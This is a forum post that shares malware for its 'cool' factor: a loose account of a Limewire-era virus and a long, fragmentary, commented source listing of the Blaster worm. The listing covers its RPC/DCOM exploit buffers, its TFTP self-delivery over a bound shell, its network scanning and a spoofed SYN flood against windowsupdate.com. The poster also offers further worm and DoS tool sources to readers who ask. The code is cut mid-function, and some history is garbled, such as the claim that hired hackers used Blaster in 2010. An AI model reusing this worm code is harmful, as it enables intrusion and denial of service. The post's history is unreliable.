This is the Limewire virus, it was huge at the time when Limewire was so massive for people to use to get their porn, music and movies. All with a lot of quite obvious other surprises that you don’t want to get along with one night in paris 😉 It’s the full thing here but you will need limewire to get the main things out of it, like Free Babes.exe 😀 With this virus it didn’t seem to be a thing that was going to be so huge, but when it did take off it really took off with the teenagers and all these
things happened to their computer they found every single excuse except Limewire. As you can see there is a Keygen.exe as you can imagine is a keygen. There however, was a small problem with it. Because Limewire was so massive and was so widly used that the server for the keygen was flooded at all times of the day that the keygen was of no use. There were stories of the dev trying to sell the keygen list to someone but this was never confirmed properly.

/* * These strings aren't used in the worm, Buford put them here * so that whitehat researchers would discover them. */const char msg1[]="I just want to say LOVE YOU SAN!!";const char msg2[]="billy gates why do you make this possible ?" " Stop making money and fix your software!!";

/* * Buford probably put the worm name as a "define" at the top * of his program so that he could change the name at any time. * 2003-09-29: This is the string that Parson changed. */#define MSBLAST_EXE "msblast.exe"

/* * MS-RPC/DCOM runs over port 135. * DEFENSE: firewalling port 135 will prevent systems from * being exploited and will hinder the spread of this worm. */#define MSRCP_PORT_135 135

/* * The TFTP protocol is defined to run on port 69. Once this * worm breaks into a victim, it will command it to download * the worm via TFTP. Therefore, the worms briefly runs a * TFTP service to deliver that file. * DEFENSE: firewalling 69/udp will prevent the worm from * fully infected a host. */#define TFTP_PORT_69 69

/* * The shell-prompt is established over port 4444. The * exploit code (in the variable 'sc') commands the victim * to "bind a shell" on this port. The exploit then connects * to that port to send commands, such as TFTPing the * msblast.exe file down and launching it. * DEFENSE: firewalling 4444/tcp will prevent the worm from * spreading. */#define SHELL_PORT_4444 4444

/*

* A simple string to hold the current IP address */char target_ip_string[16];

/* * A global variable to hold the socket for the TFTP service. */int fd_tftp_service;

/* * Global flag to indicate this thread is running. This * is set when the thread starts, then is cleared when * the thread is about to end. * This demonstrates that Buford isn't confident with * multi-threaded programming -- he should just check * the thread handle. */int is_tftp_running;

/* * When delivering the worm file to the victim, it gets the * name by querying itself using GetModuleFilename(). This * makes it easier to change the filename or to launch the * worm. */char msblast_filename[256+4];

/* * Make sure this isn't a second infection. A common problem * with worms is that they sometimes re-infect the same * victim repeatedly, eventually crashing it. A crashed * system cannot spread the worm. Therefore, worm writers * now make sure to prevent reinfections. The way Blaster * does this is by creating a system "global" object called * "BILLY". If another program in the computer has already * created "BILLY", then this instance won't run. * DEFENSE: this implies that you can remove Blaster by * creating a mutex named "BILLY". When the computer

* restarts, Blaster will falsely believe that it has * already infected the system and will quit. */ CreateMutexA(NULL, TRUE, "BILLY"); if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0);

/* * Windows systems requires "WinSock" (the network API layer) * to be initialized. Note that the SYNflood attack requires * raw sockets to be initialized, which only works in * version 2.2 of WinSock. * BUFORD: The following initialization is needlessly * complicated, and is typical of programmers who are unsure * of their knowledge of sockets.. */ if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 && WSAStartup(MAKEWORD(1,1), &WSAData) != 0 && WSAStartup(1, &WSAData) != 0) return;

/* * The worm needs to read itself from the disk when * transferring to the victim. Rather than using a hard-coded * location, it discovered the location of itself dynamically * through this function call. This has the side effect of * making it easier to change the name of the worm, as well * as making it easier to launch it. */ GetModuleFileNameA(NULL, msblast_filename, sizeof(msblast_filename));

/* * When the worm infects a dialup machine, every time the user * restarts their machine, the worm's network communication * will cause annoying 'dial' popups for the user. This will * make them suspect their machine is infected. * The function call below makes sure that the worm only * starts running once the connection to the Internet * has been established and not before. * BUFORD: I think Buford tested out his code on a machine * and discovered this problem. Even though much of the * code indicates he didn't spend much time on * testing his worm, this line indicates that he did * at least a little bit of testing. */ while (!InternetGetConnectedState(&ThreadId, 0)) Sleep (20000); /*wait 20 seconds and try again */

/* * The worm must make decisions "randomly": each worm must * choose different systems to infect. In order to make * random choices, the programmer must "seed" the random * number generator. The typical way to do this is by * seeding it with the current timestamp. * BUFORD: Later in this code you'll find that Buford calls * 'srand()' many times to reseed. This is largely * unnecessary, and again indicates that Buford is not * confident in his programming skills, so he constantly * reseeds the generator in order to make extra sure he * has gotten it right. */ srand(GetTickCount());

/* * This initializes the "local" network to some random * value. The code below will attempt to figure out what * the true local network is -- but just in case it fails, * the initialization fails, using random values makes sure * the worm won't do something stupid, such as scan the * network around 0.0.0.0 */ local_class_a = (rand() % 254)+1; local_class_b = (rand() % 254)+1;

/* * This discovers the local IP address
used currently by this * victim machine. Blaster randomly chooses to either infect * just the local ClassB network, or some other network, * therefore it needs to know the local network. * BUFORD: The worm writer uses a complex way to print out

* the IP address into a string, then parse it back again * to a number. This demonstrates that Buford is fairly * new to C programming: he thinks in terms of the printed * representation of the IP address rather than in its * binary form. */ if (gethostname(myhostname, sizeof(myhostname)) != -1) { HOSTENT *p_hostent = gethostbyname(myhostname);

/* * The known exploits require the hacker to indicate whether * the victim is WinXP or Win2k. The worm has to guess. The * way it guesses is that it chooses randomly. 80% of the time

* it will assume that all victims are WinXP, and 20% of the * time it will assume all victims are Win2k. This means that * propogation among Win2k machines will be slowed down by * the fact Win2k machines are getting DoSed faster than they * are getting exploited. */ winxp1_or_win2k2 = 1; if ((rand()%10) > 7) winxp1_or_win2k2 = 2;

/* * Check the date so that when in the certain range, it will * trigger a DoS attack against Micosoft. The following * times will trigger the DoS attack: * Aug 16 through Aug 31 * Spt 16 through Spt 30 * Oct 16 through Oct 31 * Nov 16 through Nov 30 * Dec 16 through Dec 31 * This applies to all years, and is based on local time. * FAQ: The worm is based on "local", not "global" time. * That means the DoS attack will start from Japan, * then Asia, then Europe, then the United States as the * time moves across the globe. */#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT) GetDateFormat( LOCALE_409, 0, NULL, /*localtime, not GMT*/ "d", daystring, sizeof(daystring)); GetDateFormat( LOCALE_409, 0, NULL, /*localtime, not GMT*/ "M", monthstring, sizeof(monthstring)); if (atoi(daystring) > 15 && atoi(monthstring) > 8) CreateThread(NULL, 0, blaster_DoS_thread, 0, 0, &ThreadId);

/* * As the final task of the program, go into worm mode * trying to infect systems. */ for (;;) blaster_spreader();

/* * It'll never reach this point, but in theory, you need a * WSACleanup() after a WSAStartup().

*/ WSACleanup();}

/* * This will be called from CreateThread in the main worm body * right after it connects to port 4444. After the thread is * started, it then sends the string " * tftp -i %d.%d.%d.%d GET msblast.exe" (wher

e the %ds represents * the IP address of the attacker). * Once it sends the string, it then waits for 20 seconds for the * TFTP server to end. If the TFTP server doesn't end, it calls * TerminateThread. */DWORD WINAPI blaster_tftp_thread(LPVOID p){ /* * This is the protocol format of a TFTP packet. This isn't * used in the code -- I just provide it here for reference */ struct TFTP_Packet { short opcode; short block_id; char data[512]; };

/* Set a flag indicating this thread is running. The other * thread will check this for 20 seconds to see if the TFTP * service is still alive. If this thread is still alive in * 20 seconds, it will be killed. */ is_tftp_running = TRUE; /*1 == TRUE*/

/* Receive a packet, any packet. The contents of the received * packet are ignored. This means, BTW, that a defensive * "worm-kill" could send a packet from somewhere else. This * will cause the TFTP server to download the msblast.exe * file to the wrong location, preventing the victim from * doing the download. */ sizeof_client = sizeof(client); if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0, (struct sockaddr*)&client, &sizeof_client) <= 0) goto closesocket_and_exit;

/* The TFTP server will respond with many 512 byte blocks * until it has completely sent the file; each block must * have a unique ID, and each block must be acknowledged. * BUFORD: The worm ignores TFTP ACKs. This is probably why * the worm restarts the TFTP service rather than leaving it * enabled: it essentially flushes all the ACKs from the * the incoming packet queue. If the ACKs aren't flushed, * the worm will incorrectly treat them as TFTP requests. */ block_id = 0;

/* Open this file. GetModuleFilename was used to figure out * this filename. */ fp = fopen(msblast_filename, "rb"); if (fp == NULL) goto closesocket_and_exit;

/* Sleep for a bit. * The reason for this is because the worm doesn't care * about retransmits -- it therefore must send these * packets slow enough so congestion doesn't drop them. * If it misses a packet, then it will DoS the victim * without actually infecting it. Worse: the intended * victim will continue to send packets, preventing the * worm from infecting new systems because the * requests will misdirect TFTP. This design is very * bad, and is my bet as the biggest single factor * that slows down the worm. */ Sleep(900);

/* File transfer ends when the last block is read, which * will likely be smaller than a full-sized block*/ if (block_size != sizeof(rspbuf)) { fclose(fp); fp = NULL; break; } }

if (fp != NULL) fclose(fp);

closesocket_and_exit:

/* Notify that the thread has stopped, so that the waiting * thread can continue on */ is_tftp_running = FALSE; closesocket(fd); ExitThread(0);

return 0;}

/* * This function increments the IP address. * BUFORD: This conversion from numbers, to strings, then back * to number is overly complicated. Experienced programmers * would simply store the number and increment it. This shows * that Buford does not have much experience work with * IP addresses. */void blaster_increment_ip_address(){ for (;;) { if (ClassD <= 2
54) { ClassD++; return; }

/* Create the beginnings of a "socket-address" structure that * will be used repeatedly below on the 'connect()' call for * each socket. This structure specified port 135, which is * the port used for RPC/DCOM. */ memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(MSRCP_PORT_135);

/* Initiate a "non-blocking" connection on all 20 sockets * that were created above. * FAQ: Essentially, this means that the worm has 20 * "threads" -- even though they aren't true threads. */ for (i=0; i<20; i++) { int ip;

/* Wait 1.8-seconds for a connection. * BUG: this is often not enough, especially when a packet * is lost due to congestion. A small timeout actually makes * the worm slower than faster */ Sleep(1800);

/* Now test to see which of those 20 connections succeeded. * BUFORD: a more experienced programmer would have done * a single 'select()' across all sockets rather than * repeated calls for each socket. */ for (i=0; i<20; i++) { struct timeval timeout; int nfds;

/* * This is where the victim is actually exploited. It is the same * exploit as created by xfocus and altered by HDMoore. * There are a couple of differences. The first is that the in * those older exploits, this function itself would create the * socket and connect, whereas in Blaster, the socket is already * connected to the victim via the scanning function above. The * second difference is that the packets/shellcode blocks are * declared as stack variables rather than as static globals. * Finally, whereas the older exploits give the hacker a * "shell prompt", this one automates usage of the shell-prompt * to tell the victim to TFTP the worm down and run it. */void blaster_exploit_target(int sock, const char *victim_ip){

/* These blocks of data are just the same ones copied from the * xfocus exploit prototype. Whereas the original exploit * declared these as "static" variables, Blaster declares * these as "stack" variables. This is because the xfocus * exploit altered them -- they must be reset back to their * original values every time. */unsigned char bindstr[]={0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

/* ---------------------------------------------- * This section is just copied from the original exploit * script. This is the same as the scripts that have been * widely published on the Internet. */ len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;

/* * This section creates a temporary TFTP service that is * ONLY alive during the period of time that the victim * needs to download. * FAQ: You can't scan for TFTP in order to find Blaster * victims because the port is rarely open. */ if (fd_tftp_service) closesocket(fd_tftp_service); hThread = CreateThread(0,0, blaster_tftp_thread,0,0,&ThreadId); Sleep(80); /*give time for thread to start*/

/* * This sends the command * tftp -i 1.2.3.4 GET msblast.exe * to the victim. The "tftp.exe" program is built into * Windows. It's intended purpose is to allow users to * manually update their home wireless access points with * new software (and other similar tasks). However, it is * not intended as a generic file-transfer protocol (it * stands for "trivial-file-transfer-protocol" -- it is * intended for only trivial tasks). Since a lot of hacker * exploits use the "tftp.exe" program, a good hardening * step is to remove/rename it. */ sprintf(cmdstr, "tftp -i %s GET %sn", target_ip_string, MSBLAST_EXE); if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) goto closesocket_and_return;

/* * Wait 21 seconds for the victim to request the file, then * for the file to be delivered via TFTP. */ Sleep(1000); for (i=0; i<10 && is_tftp_running; i++) Sleep(2000);

/* * This section closes the things started in this procedure */closesocket_and_return:

/* Close the socket for the remote command-prompt that has * been established to the victim. */ if (fd != 0) closesocket(fd);

/* Close the TFTP server that was launched above. As noted, * this means that the TFTP service is not running most of * the time, so it's not easy to scan for infected systems. */ if (is_tftp_running) { TerminateThread(hThread,0); closesocket(fd_tftp_service); is_tftp_running = 0; } CloseHandle(hThread);}

/** * Convert the name into an IP address. If the IP address * is formatted in decimal-dot-notation (e.g. 192.2.0.43), * then return that IP address, otherwise do a DNS lookup * on the address. Note that in the case of the worm, * it always gives the string "windowsupdate.com" to this * function, and since Microsoft turned off that name, * the DNS lookup will usually fail, so this function * generally returns -1 (SOCKET_ERROR), which means the * address 255.255.255.255. */int blaster_resolve_ip(const char *windowsupdate_com){ int result;

/* Lookup the domain-name. Note that no checking is done * to ensure that the name is valid. Since Microsoft turned * this off in their domain-name servers, this function now * returns -1. */ target_ip = blaster_resolve_ip("windowsupdate.com");

/* Create a socket that the worm will blast packets at * Microsoft from. This is what is known as a "raw" socket. * So-called "raw-sockets" are ones where packets are * custom-built by the programmer rather than by the TCP/IP * stack. Note that raw-sockets were not available in Windows * until Win2k. A cybersecurity pundit called Microsoft * "irresponsible" for adding them. * * That's probably an * unfairly harsh judgement (such sockets are available in * every other OS), but it's true that it puts the power of * SYNflood attacks in the hands of lame worm writers. While * the worm-writer would probably have chosen a different * DoS, such as Slammer-style UDP floods, it's likely that * Buford wouldn't have been able to create a SYNflood if * raw-sockets had not been added to Win2k/WinXP. */ fd = WSASocket( AF_INET, /*TCP/IP sockets*/ SOCK_RAW, /*Custom TCP/IP headers*/ IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED ); if (fd == SOCKET_ERROR) return 0;

/* Tell the raw-socket that IP headers will be created by the * programmer rather than the stack. Most raw sockets in * Windows will also have this option set. */ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char*)&opt, sizeof(opt)) == SOCKET_ERROR) return 0;

/* Now do the SYN flood. The worm writer decided to flood * slowly by putting a 20-millisecond delay between packets * -- causing only 500 packets/second, or roughly, 200-kbps. * There are a couple of reasons why the hacker may have * chosen this. * 1. SYNfloods are not intended to be bandwidth floods, * even slow rates are hard to deal with. * 2. Slammer DoSed both the sender and receiver, therefore * senders hunted down infected systems and removed * them. This won't DoS the sender, so people are more * likely not to care about a few infected machines. */ for (;;) { blaster_send_syn_packet(target_ip, fd);

/* Q: How fast does it send the SYNflood? * A: About 50 packets/second, where each packet is * 320-bits in size, for a total of 15-kbps. * It means that Buford probably intended for * dialup users to be a big source of the DoS * attack. He was smart enough to realize that * faster floods would lead to users discovering * the worm and turning it off. */ Sleep(20); }

closesocket(fd); return 0;}

/* * This is a standard TCP/IP checksum algorithm * that you find all over the web. */int blaster_checksum(const void *bufv, int length){ const unsigned short *buf = (const unsigned short *)bufv; unsigned long result = 0;

/* * This is a function that uses "raw-sockets" in order to send * a SYNflood at the victim, which is "windowsupdate.com" in * the case of the Blaster worm. */void blaster_send_syn_packet(int target_ip, int fd){

/* Generate a spoofed source address that is local to the * current Class B subnet. This is pretty smart of Buford. * Using just a single IP address allows defenders to turn * it off on the firewall, whereas choosing a completely * random IP address would get blocked by egress filters * (because the source IP would not be in the proper range). * Randomly choosing nearby IP addresses it probably the * best way to evade defenses */ sprintf(spoofed_src_ip, "%i.%i.%i.%i", local_class_a, local_class_b, rand()%255, rand()%255); source_ip = blaster_resolve_ip(spoofed_src_ip);

/* I have no idea what's going on here. The assembly code * zeroes out a bit of memory near the buffer. I don't know * if it is trying to zero out a real variable that happens * to be at the end of the buffer, or if it is trying to zero * out part of the buffer itself. */ memset(buf+sizeof(ip)+sizeof(tcp), 0, sizeof(buf)-sizeof(ip)-sizeof(tcp));

/* Major bug here: the worm writer incorrectly calculates the * IP checksum over the entire packet. This is incorrect -- * the IP checksum is just for the IP header itself, not for * the TCP header or data. However, Windows fixes the checksum * anyway, so it's not a problem. */ ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

/* Copy the header over again. The reason for this is simply to * copy over the checksum that was just calculated above, but * it's easier doing this for the programmer rather than * figuring out the exact offset where the checksum is * located */ memcpy(buf, &ip, sizeof(ip));

This is the Blaster worm, thankfully the guy who gave this to me has the comments left in it. The blaster worm was used in 2010 a few to take down a few big targets. Chinese hackers were hired to smash american companies when shit started going down. Anyway it worked like this just

put in human terms.“What you want me to do something? Nah man I want to turn off now, man every time you start me up I’m just going to turn off again. Dude stop turning me on I’m just going to turn off in a minute.”The blaster worm gave a warning of it’s going to shut down in 60 seconds. Now I know most people won’t be able to get it deleted in 60 seconds. If you could open task manager, processes and follow it to the folder and delete it then you were safe. Most people would panic when this happened and ended up taking their computers to a professional.

These are just two real world viruses that were big at their time.I have the sources to some other cool ones aswell. BloodRed, massmailer and DoS tool, is pretty awesome. Ask if you want it. Also an IRCworm for people who want it. If you do ask you either need a valid reason and I mean valid. That or I just need to know you as a regular here.There are a few if you ask for I will try to get my hands on for you.